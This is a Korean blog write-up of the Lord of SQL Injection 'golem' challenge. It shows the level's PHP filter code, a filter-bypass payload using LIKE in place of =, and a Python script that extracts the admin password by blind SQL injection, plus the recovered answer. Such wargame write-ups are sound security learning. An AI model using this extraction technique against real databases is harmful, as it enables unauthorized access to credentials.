write-up/LOS write-up

LOS (Lord of SQL injection) 문제 11번 golem write-up

정보보호학과 새내기 2021. 7. 6. 21:00
반응형

문제 11번 - golem

 

query : select id from prob_golem where id='guest' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

일단 다른 문제들과 마찬가지로 php코드가 주어져있다.

 

먼저 필터링함수를 확인해보면 앞선 문제들과 같이 prob와 _ , . , ( , )을 필터링하지만 추가로 or과 and, substr( , = 을 필터링하는 것을 알 수 있다. (아마도 substr 함수를 이용하지 못하게 막는 것 같다.) 추가로 i를 통해 대소문자를 구별하지 않는 것도 확인할 수 있다.

<?php 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
?>

 

또 clear 조건을 확인하기 위해 조건문 코드를 확인해보니 비밀번호가 필요하다는 것을 알 수 있다. 아마도 파이썬을 이용해 pw를 찾아야 할 것 같다.

<?php 
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

 

아래 코드를 확인 해보면 참인 값이 주어졌을 때 Hello admin을 출력하는 것을 확인할 수 있다. 따라서 참일 때까지 비밀번호의 크기를 입력하여 찾아야한다. 

 

<?php 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
?>

 

앞선 문제들과 같이 pw의 길이는 length를 이용하여 찾았다. 하지만 이전 문제들은 length(pw) = 8로 찾았던 것과 달리 이번에는 =을 사용하지 못하므로 = 대신 like를 이용하였다.

ex) pw=1%27||length(pw) like 8%23

 

위 예시와 같이 pw의 길이를 8이라고 입력하니 Hello admin이 출력되었다.

pw의 길이가 8일 때 Hello admin 출력

 

이제 pw의 길이가 8이라는 것을 알아냈으니 파이썬 코드를 이용하여 반복문을 만들고 비밀번호를 찾아야한다.

앞선 문제들에서 이용한 코드를 필터링함수에 걸리지 않게만 조절해서 작성했다.

import requests
import string

url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=1'||"
cookie =dict(PHPSESSID="쿠키값")

char = string.digits+string.ascii_letters
result=""

for i in range(1,9):
    for j in char:
        param="ascii(mid(pw,"+str(i)+",1)) like "+str(ord(j))+"%23"
        URL = url+param
        response = requests.get(URL, cookies=cookie)
        if response.text.find("Hello admin")>0:
            print (j)
            result += j
            break
print("pw는",result,"입니다")

위 코드를 이용하여 pw를 구하면 77d6290b이다.

pw 찾는 파이썬 코드 실행

따라서 해당 주소 php 뒤에 pw=77d6290b를 입력한다.

 

solve

https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=77d6290b

클리어 화면

반응형